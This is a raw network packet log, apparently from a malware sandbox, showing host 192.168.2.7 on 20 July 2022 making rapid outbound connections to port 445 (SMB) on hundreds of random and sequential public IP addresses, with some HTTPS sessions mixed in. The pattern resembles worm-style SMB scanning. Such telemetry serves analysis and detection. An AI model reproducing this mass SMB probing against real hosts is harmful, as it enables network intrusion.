Jul 20, 2022 19:32:33.094558954 CEST	54058	445	192.168.2.7	51.158.189.47
Jul 20, 2022 19:32:33.095057964 CEST	54059	445	192.168.2.7	131.153.221.38
Jul 20, 2022 19:32:33.117147923 CEST	445	54058	51.158.189.47	192.168.2.7
Jul 20, 2022 19:32:33.303069115 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.303123951 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.303224087 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.314707041 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.314748049 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.620112896 CEST	54058	445	192.168.2.7	51.158.189.47
Jul 20, 2022 19:32:33.639044046 CEST	54064	445	192.168.2.7	15.218.118.59
Jul 20, 2022 19:32:33.642131090 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.642317057 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.645191908 CEST	445	54058	51.158.189.47	192.168.2.7
Jul 20, 2022 19:32:33.652638912 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.652676105 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.653131008 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.670277119 CEST	54065	445	192.168.2.7	213.224.34.9
Jul 20, 2022 19:32:33.671088934 CEST	54066	445	192.168.2.7	96.68.97.196
Jul 20, 2022 19:32:33.671881914 CEST	54067	445	192.168.2.7	153.110.55.48
Jul 20, 2022 19:32:33.673969984 CEST	54070	445	192.168.2.7	122.209.116.110
Jul 20, 2022 19:32:33.711847067 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.721333981 CEST	54076	445	192.168.2.7	130.198.227.33
Jul 20, 2022 19:32:33.721494913 CEST	54079	445	192.168.2.7	77.62.3.197
Jul 20, 2022 19:32:33.721514940 CEST	54080	445	192.168.2.7	31.90.206.245
Jul 20, 2022 19:32:33.721719027 CEST	54083	445	192.168.2.7	12.64.116.184
Jul 20, 2022 19:32:33.721937895 CEST	54084	445	192.168.2.7	35.11.113.38
Jul 20, 2022 19:32:33.721945047 CEST	54087	445	192.168.2.7	171.177.128.133
Jul 20, 2022 19:32:33.732985020 CEST	54091	445	192.168.2.7	193.74.98.85
Jul 20, 2022 19:32:33.733105898 CEST	54093	445	192.168.2.7	189.32.33.251
Jul 20, 2022 19:32:33.733194113 CEST	54094	445	192.168.2.7	154.166.97.243
Jul 20, 2022 19:32:33.752509117 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.875155926 CEST	54098	445	192.168.2.7	213.142.151.77
Jul 20, 2022 19:32:33.876044989 CEST	54099	445	192.168.2.7	217.99.196.121
Jul 20, 2022 19:32:33.878395081 CEST	54102	445	192.168.2.7	37.24.153.238
Jul 20, 2022 19:32:33.887871981 CEST	54104	445	192.168.2.7	138.209.102.207
Jul 20, 2022 19:32:33.903084993 CEST	54106	445	192.168.2.7	164.25.75.137
Jul 20, 2022 19:32:33.903594017 CEST	54107	445	192.168.2.7	144.102.141.215
Jul 20, 2022 19:32:33.904171944 CEST	54108	445	192.168.2.7	104.48.205.227
Jul 20, 2022 19:32:33.908072948 CEST	54114	445	192.168.2.7	63.220.80.221
Jul 20, 2022 19:32:33.909003973 CEST	54115	445	192.168.2.7	210.125.71.227
Jul 20, 2022 19:32:33.919842005 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.919873953 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.919882059 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.919922113 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.919936895 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.919946909 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.920016050 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.920053959 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.920075893 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.920085907 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.920094967 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.920105934 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.920125008 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.920139074 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:33.920178890 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.920236111 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.935327053 CEST	54116	445	192.168.2.7	142.176.35.0
Jul 20, 2022 19:32:33.938390970 CEST	54117	445	192.168.2.7	12.47.188.121
Jul 20, 2022 19:32:33.939908981 CEST	54118	445	192.168.2.7	154.127.22.47
Jul 20, 2022 19:32:33.940164089 CEST	54119	445	192.168.2.7	144.196.9.82
Jul 20, 2022 19:32:33.940323114 CEST	54122	445	192.168.2.7	203.81.53.244
Jul 20, 2022 19:32:33.940419912 CEST	54123	445	192.168.2.7	188.130.221.237
Jul 20, 2022 19:32:33.949635029 CEST	54061	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:33.949675083 CEST	443	54061	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:34.175446987 CEST	54127	445	192.168.2.7	51.158.189.48
Jul 20, 2022 19:32:34.175990105 CEST	54128	445	192.168.2.7	131.153.221.39
Jul 20, 2022 19:32:34.375983000 CEST	54129	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:34.392771959 CEST	445	54129	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:34.392920971 CEST	54129	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:34.393104076 CEST	54129	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:34.409678936 CEST	445	54129	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:34.409722090 CEST	445	54129	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:34.409743071 CEST	445	54129	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:34.409804106 CEST	54129	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:34.409883022 CEST	54129	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:34.410213947 CEST	54129	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:34.427506924 CEST	445	54129	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:34.427536964 CEST	445	54129	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:34.488440037 CEST	54131	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.505148888 CEST	445	54131	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.505305052 CEST	54131	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.505512953 CEST	54131	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.517157078 CEST	54132	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.522378922 CEST	445	54131	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.522497892 CEST	54131	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.534388065 CEST	445	54132	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.534996986 CEST	54132	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.535149097 CEST	54132	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.551577091 CEST	445	54132	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.551623106 CEST	445	54132	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.552314997 CEST	445	54132	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.552433968 CEST	54132	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.561203003 CEST	54132	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.561667919 CEST	54132	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:34.577835083 CEST	445	54132	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.578104019 CEST	445	54132	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:34.761929035 CEST	54134	445	192.168.2.7	83.95.217.244
Jul 20, 2022 19:32:34.795953989 CEST	54136	445	192.168.2.7	125.67.169.12
Jul 20, 2022 19:32:34.796266079 CEST	54137	445	192.168.2.7	142.133.151.90
Jul 20, 2022 19:32:34.796274900 CEST	54138	445	192.168.2.7	136.70.36.240
Jul 20, 2022 19:32:34.796308041 CEST	54139	445	192.168.2.7	30.141.236.166
Jul 20, 2022 19:32:34.842428923 CEST	54148	445	192.168.2.7	40.135.8.108
Jul 20, 2022 19:32:34.842941999 CEST	54149	445	192.168.2.7	27.18.148.86
Jul 20, 2022 19:32:34.844024897 CEST	54151	445	192.168.2.7	36.165.214.164
Jul 20, 2022 19:32:34.845459938 CEST	54154	445	192.168.2.7	104.90.87.248
Jul 20, 2022 19:32:34.845999956 CEST	54155	445	192.168.2.7	12.134.24.246
Jul 20, 2022 19:32:34.849160910 CEST	54160	445	192.168.2.7	78.130.141.7
Jul 20, 2022 19:32:34.901871920 CEST	54163	445	192.168.2.7	191.206.168.194
Jul 20, 2022 19:32:34.901962996 CEST	54165	445	192.168.2.7	109.29.183.97
Jul 20, 2022 19:32:34.902000904 CEST	54164	445	192.168.2.7	187.4.71.130
Jul 20, 2022 19:32:34.966907024 CEST	54169	445	192.168.2.7	213.142.151.78
Jul 20, 2022 19:32:35.024403095 CEST	54171	445	192.168.2.7	102.36.90.50
Jul 20, 2022 19:32:35.024452925 CEST	54172	445	192.168.2.7	135.125.101.130
Jul 20, 2022 19:32:35.024714947 CEST	54175	445	192.168.2.7	187.74.2.37
Jul 20, 2022 19:32:35.036489964 CEST	54176	445	192.168.2.7	164.230.37.248
Jul 20, 2022 19:32:35.037067890 CEST	54177	445	192.168.2.7	46.180.178.80
Jul 20, 2022 19:32:35.040096998 CEST	54183	445	192.168.2.7	175.207.137.160
Jul 20, 2022 19:32:35.040632010 CEST	54184	445	192.168.2.7	42.131.250.194
Jul 20, 2022 19:32:35.041610956 CEST	54186	445	192.168.2.7	105.184.169.252
Jul 20, 2022 19:32:35.119714022 CEST	54187	445	192.168.2.7	103.67.112.36
Jul 20, 2022 19:32:35.125778913 CEST	54188	445	192.168.2.7	70.184.8.143
Jul 20, 2022 19:32:35.128678083 CEST	54189	445	192.168.2.7	116.156.240.24
Jul 20, 2022 19:32:35.148067951 CEST	54190	445	192.168.2.7	169.79.80.105
Jul 20, 2022 19:32:35.149573088 CEST	54193	445	192.168.2.7	36.133.92.238
Jul 20, 2022 19:32:35.150103092 CEST	54194	445	192.168.2.7	142.41.208.202
Jul 20, 2022 19:32:35.263159037 CEST	54198	445	192.168.2.7	51.158.189.49
Jul 20, 2022 19:32:35.263252974 CEST	54199	445	192.168.2.7	131.153.221.40
Jul 20, 2022 19:32:35.754930019 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:35.754957914 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:35.755083084 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:35.755692005 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:35.755707026 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:35.886776924 CEST	54204	445	192.168.2.7	33.165.14.198
Jul 20, 2022 19:32:35.922477961 CEST	54208	445	192.168.2.7	133.45.174.220
Jul 20, 2022 19:32:35.922558069 CEST	54206	445	192.168.2.7	141.109.76.218
Jul 20, 2022 19:32:35.922689915 CEST	54210	445	192.168.2.7	75.228.142.58
Jul 20, 2022 19:32:35.922894001 CEST	54213	445	192.168.2.7	23.61.34.86
Jul 20, 2022 19:32:35.976736069 CEST	54218	445	192.168.2.7	112.244.130.103
Jul 20, 2022 19:32:36.019510984 CEST	54223	445	192.168.2.7	212.123.185.245
Jul 20, 2022 19:32:36.019695997 CEST	54224	445	192.168.2.7	201.157.227.179
Jul 20, 2022 19:32:36.020040989 CEST	54227	445	192.168.2.7	59.57.90.201
Jul 20, 2022 19:32:36.020705938 CEST	54229	445	192.168.2.7	85.178.6.53
Jul 20, 2022 19:32:36.020874977 CEST	54230	445	192.168.2.7	172.75.128.240
Jul 20, 2022 19:32:36.065840006 CEST	54231	445	192.168.2.7	104.52.150.61
Jul 20, 2022 19:32:36.066020966 CEST	54232	445	192.168.2.7	114.109.234.176
Jul 20, 2022 19:32:36.066531897 CEST	54233	445	192.168.2.7	33.200.10.102
Jul 20, 2022 19:32:36.067480087 CEST	54236	445	192.168.2.7	213.142.151.79
Jul 20, 2022 19:32:36.138305902 CEST	54241	445	192.168.2.7	80.52.178.126
Jul 20, 2022 19:32:36.139308929 CEST	54242	445	192.168.2.7	88.220.240.113
Jul 20, 2022 19:32:36.140693903 CEST	54244	445	192.168.2.7	88.244.114.79
Jul 20, 2022 19:32:36.168674946 CEST	54247	445	192.168.2.7	195.135.242.114
Jul 20, 2022 19:32:36.169862986 CEST	54249	445	192.168.2.7	28.236.84.18
Jul 20, 2022 19:32:36.170465946 CEST	54250	445	192.168.2.7	128.32.203.146
Jul 20, 2022 19:32:36.173136950 CEST	54255	445	192.168.2.7	57.220.146.133
Jul 20, 2022 19:32:36.173676968 CEST	54256	445	192.168.2.7	38.179.188.15
Jul 20, 2022 19:32:36.246023893 CEST	54257	445	192.168.2.7	75.146.214.115
Jul 20, 2022 19:32:36.246902943 CEST	54258	445	192.168.2.7	192.220.96.73
Jul 20, 2022 19:32:36.247009993 CEST	54259	445	192.168.2.7	86.79.28.93
Jul 20, 2022 19:32:36.262088060 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.262201071 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.269581079 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.269597054 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.269918919 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.271225929 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.272656918 CEST	54262	445	192.168.2.7	20.248.149.128
Jul 20, 2022 19:32:36.273046970 CEST	54264	445	192.168.2.7	114.189.52.58
Jul 20, 2022 19:32:36.273190975 CEST	54265	445	192.168.2.7	180.145.220.249
Jul 20, 2022 19:32:36.312503099 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.364191055 CEST	54267	445	192.168.2.7	131.153.221.41
Jul 20, 2022 19:32:36.364455938 CEST	54268	445	192.168.2.7	51.158.189.50
Jul 20, 2022 19:32:36.604114056 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604146004 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604166031 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604255915 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.604271889 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604298115 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604309082 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.604322910 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604331017 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.604336977 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604366064 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.604392052 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.604481936 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604531050 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.604536057 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604554892 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.604576111 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.604609966 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.607577085 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.607597113 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:36.607628107 CEST	54203	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:36.607635975 CEST	443	54203	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:37.208573103 CEST	54274	445	192.168.2.7	80.46.39.146
Jul 20, 2022 19:32:37.208903074 CEST	54279	445	192.168.2.7	136.110.107.68
Jul 20, 2022 19:32:37.209057093 CEST	54280	445	192.168.2.7	220.92.170.195
Jul 20, 2022 19:32:37.209216118 CEST	54283	445	192.168.2.7	198.150.135.58
Jul 20, 2022 19:32:37.209469080 CEST	54289	445	192.168.2.7	223.121.14.9
Jul 20, 2022 19:32:37.211375952 CEST	54277	445	192.168.2.7	100.47.226.6
Jul 20, 2022 19:32:37.354773045 CEST	54292	445	192.168.2.7	213.142.151.80
Jul 20, 2022 19:32:37.356198072 CEST	54294	445	192.168.2.7	200.193.161.219
Jul 20, 2022 19:32:37.357161999 CEST	54296	445	192.168.2.7	73.84.205.196
Jul 20, 2022 19:32:37.368624926 CEST	54297	445	192.168.2.7	19.104.177.146
Jul 20, 2022 19:32:37.680005074 CEST	54300	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:37.681459904 CEST	54303	445	192.168.2.7	82.205.189.161
Jul 20, 2022 19:32:37.681557894 CEST	54304	445	192.168.2.7	16.253.65.73
Jul 20, 2022 19:32:37.681721926 CEST	54306	445	192.168.2.7	53.66.154.46
Jul 20, 2022 19:32:37.681828022 CEST	54307	445	192.168.2.7	8.254.140.16
Jul 20, 2022 19:32:37.682002068 CEST	54309	445	192.168.2.7	149.210.119.136
Jul 20, 2022 19:32:37.682271957 CEST	54314	445	192.168.2.7	121.52.88.46
Jul 20, 2022 19:32:37.682401896 CEST	54315	445	192.168.2.7	27.27.200.120
Jul 20, 2022 19:32:37.682727098 CEST	54319	445	192.168.2.7	32.126.199.166
Jul 20, 2022 19:32:37.682738066 CEST	54316	445	192.168.2.7	66.170.135.48
Jul 20, 2022 19:32:37.682826042 CEST	54320	445	192.168.2.7	197.19.82.137
Jul 20, 2022 19:32:37.683116913 CEST	54323	445	192.168.2.7	98.139.203.30
Jul 20, 2022 19:32:37.683273077 CEST	54325	445	192.168.2.7	85.24.184.30
Jul 20, 2022 19:32:37.683389902 CEST	54326	445	192.168.2.7	81.208.42.53
Jul 20, 2022 19:32:37.683495998 CEST	54327	445	192.168.2.7	131.153.221.42
Jul 20, 2022 19:32:37.683624029 CEST	54328	445	192.168.2.7	51.158.189.51
Jul 20, 2022 19:32:37.683717012 CEST	54329	445	192.168.2.7	123.54.237.63
Jul 20, 2022 19:32:37.683886051 CEST	54331	445	192.168.2.7	129.37.114.50
Jul 20, 2022 19:32:37.684040070 CEST	54333	445	192.168.2.7	7.112.179.180
Jul 20, 2022 19:32:37.684262037 CEST	54336	445	192.168.2.7	206.220.55.145
Jul 20, 2022 19:32:37.684592962 CEST	54337	445	192.168.2.7	21.28.197.229
Jul 20, 2022 19:32:37.684817076 CEST	54338	445	192.168.2.7	205.69.173.167
Jul 20, 2022 19:32:37.696640015 CEST	445	54300	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:37.696918011 CEST	54300	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:37.697168112 CEST	54300	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:37.714154959 CEST	445	54300	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:37.714200020 CEST	445	54300	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:37.714220047 CEST	445	54300	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:37.714354992 CEST	54300	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:37.787426949 CEST	54300	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:37.787741899 CEST	54300	445	192.168.2.7	45.60.207.3
Jul 20, 2022 19:32:37.804047108 CEST	445	54300	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:37.804092884 CEST	445	54300	45.60.207.3	192.168.2.7
Jul 20, 2022 19:32:37.885675907 CEST	54342	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:37.902417898 CEST	445	54342	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:37.902559996 CEST	54342	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:37.903314114 CEST	54342	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:37.906730890 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:37.906795979 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:37.906896114 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:37.910397053 CEST	54344	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:37.912591934 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:37.912622929 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:37.919991016 CEST	445	54342	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:37.920111895 CEST	54342	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:37.927171946 CEST	445	54344	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:37.927439928 CEST	54344	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:37.986016035 CEST	54344	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:38.002882957 CEST	445	54344	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:38.005909920 CEST	445	54344	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:38.006144047 CEST	54344	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:38.010797024 CEST	445	54344	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:38.010885954 CEST	54344	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:38.011220932 CEST	54344	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:38.027654886 CEST	445	54344	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:38.027738094 CEST	445	54344	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:38.235423088 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.235625029 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.249862909 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.249897957 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.250204086 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.251724005 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.292512894 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.464993954 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465023994 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465046883 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465145111 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.465178967 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465204000 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465229988 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465240955 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.465254068 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465272903 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.465280056 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465310097 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.465322018 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465341091 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.465353966 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.465396881 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.907501936 CEST	54348	445	192.168.2.7	181.199.43.154
Jul 20, 2022 19:32:38.907984972 CEST	54349	445	192.168.2.7	76.201.181.14
Jul 20, 2022 19:32:38.909641981 CEST	54352	445	192.168.2.7	71.101.19.232
Jul 20, 2022 19:32:38.923404932 CEST	54358	445	192.168.2.7	103.77.15.201
Jul 20, 2022 19:32:38.923777103 CEST	54362	445	192.168.2.7	77.92.205.235
Jul 20, 2022 19:32:38.923921108 CEST	54365	445	192.168.2.7	125.37.62.160
Jul 20, 2022 19:32:38.926578045 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.926623106 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.926645041 CEST	54343	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:38.926656008 CEST	443	54343	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:38.967278957 CEST	445	54362	77.92.205.235	192.168.2.7
Jul 20, 2022 19:32:39.003951073 CEST	54366	445	192.168.2.7	213.142.151.81
Jul 20, 2022 19:32:39.004488945 CEST	54367	445	192.168.2.7	131.153.221.43
Jul 20, 2022 19:32:39.004995108 CEST	54368	445	192.168.2.7	51.158.189.52
Jul 20, 2022 19:32:39.064722061 CEST	54369	445	192.168.2.7	67.47.206.159
Jul 20, 2022 19:32:39.065316916 CEST	54370	445	192.168.2.7	113.174.181.76
Jul 20, 2022 19:32:39.087202072 CEST	54371	445	192.168.2.7	213.130.110.67
Jul 20, 2022 19:32:39.087366104 CEST	54374	445	192.168.2.7	180.35.101.244
Jul 20, 2022 19:32:39.087440968 CEST	54375	445	192.168.2.7	183.189.132.252
Jul 20, 2022 19:32:39.087552071 CEST	54377	445	192.168.2.7	116.142.219.241
Jul 20, 2022 19:32:39.087795019 CEST	54384	445	192.168.2.7	14.133.88.59
Jul 20, 2022 19:32:39.087879896 CEST	54385	445	192.168.2.7	66.136.52.43
Jul 20, 2022 19:32:39.087989092 CEST	54387	445	192.168.2.7	53.117.146.237
Jul 20, 2022 19:32:39.088085890 CEST	54388	445	192.168.2.7	125.178.103.253
Jul 20, 2022 19:32:39.088188887 CEST	54390	445	192.168.2.7	184.226.65.22
Jul 20, 2022 19:32:39.088354111 CEST	54395	445	192.168.2.7	103.212.144.31
Jul 20, 2022 19:32:39.088418961 CEST	54396	445	192.168.2.7	180.48.220.194
Jul 20, 2022 19:32:39.088496923 CEST	54397	445	192.168.2.7	177.244.205.69
Jul 20, 2022 19:32:39.088633060 CEST	54400	445	192.168.2.7	213.22.237.85
Jul 20, 2022 19:32:39.088706970 CEST	54401	445	192.168.2.7	89.75.38.190
Jul 20, 2022 19:32:39.088831902 CEST	54404	445	192.168.2.7	65.120.175.246
Jul 20, 2022 19:32:39.088926077 CEST	54406	445	192.168.2.7	144.253.149.193
Jul 20, 2022 19:32:39.088992119 CEST	54407	445	192.168.2.7	53.240.206.187
Jul 20, 2022 19:32:39.089065075 CEST	54408	445	192.168.2.7	95.91.95.89
Jul 20, 2022 19:32:39.089174986 CEST	54410	445	192.168.2.7	158.195.80.162
Jul 20, 2022 19:32:39.094672918 CEST	54412	445	192.168.2.7	159.170.133.218
Jul 20, 2022 19:32:39.573822021 CEST	54362	445	192.168.2.7	77.92.205.235
Jul 20, 2022 19:32:39.617557049 CEST	445	54362	77.92.205.235	192.168.2.7
Jul 20, 2022 19:32:40.183228016 CEST	54362	445	192.168.2.7	77.92.205.235
Jul 20, 2022 19:32:40.227045059 CEST	445	54362	77.92.205.235	192.168.2.7
Jul 20, 2022 19:32:41.052844048 CEST	54417	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:41.069719076 CEST	445	54417	45.60.207.4	192.168.2.7
Jul 20, 2022 19:32:41.069958925 CEST	54417	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:41.131278992 CEST	54417	445	192.168.2.7	45.60.207.4
Jul 20, 2022 19:32:41.133009911 CEST	54418	445	192.168.2.7	213.142.151.82
Jul 20, 2022 19:32:41.133768082 CEST	54419	445	192.168.2.7	131.153.221.44
Jul 20, 2022 19:32:41.134502888 CEST	54420	445	192.168.2.7	51.158.189.53
Jul 20, 2022 19:32:41.144364119 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.144382954 CEST	443	54421	52.152.110.14	192.168.2.7
Jul 20, 2022 19:32:41.144459009 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.147483110 CEST	54421	443	192.168.2.7	52.152.110.14
Jul 20, 2022 19:32:41.147496939 CEST	443	54421	52.152.110.14	192.168.2.7
